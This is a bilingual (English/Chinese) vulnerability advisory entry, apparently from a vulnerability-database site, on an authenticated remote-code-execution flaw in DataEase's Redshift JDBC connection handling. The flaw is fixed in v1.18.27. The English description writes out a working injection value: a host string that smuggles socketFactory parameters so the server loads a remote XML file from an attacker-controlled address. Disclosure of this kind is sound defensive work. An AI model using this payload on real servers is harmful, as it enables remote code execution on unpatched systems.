漏洞信息
尽管我们使用了先进的大模型技术，但其输出仍可能包含不准确或过时的信息。神龙努力确保数据的准确性，但请您根据实际情况进行核实和判断。
Vulnerability Title
Dataease Redshift Data Source JDBC Connection Parameters Not Verified Leads to RCE Vulnerability
Vulnerability Description
DataEase is an open source business analytics tool. Authenticated users can remotely execute code through the backend JDBC connection. When constructing the jdbc connection string, the parameters are not filtered. Constructing the host as ip:5432/test/?socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext&socketFactoryArg=http://ip:5432/1.xml&a= can trigger the ClassPathXmlApplicationContext construction method. The vulnerability has been fixed in v1.18.27. Users are advised to upgrade. There are no known workarounds for this vulnerability.
CVSS Information
N/A
Vulnerability Type
输入验证不恰当
Vulnerability Title
DataEase 输入验证错误漏洞
Vulnerability Description
DataEase是DataEase开源的一个开源的数据可视化分析工具。用于帮助用户快速分析数据并洞察业务趋势，从而实现业务的改进与优化。 DataEase v1.18.27之前版本存在输入验证错误漏洞，该漏洞源于构造jdbc连接字符串时未对参数进行过滤，经过身份验证的用户可以通过后端JDBC连接远程执行代码。
CVSS Information
N/A
Vulnerability Type
N/A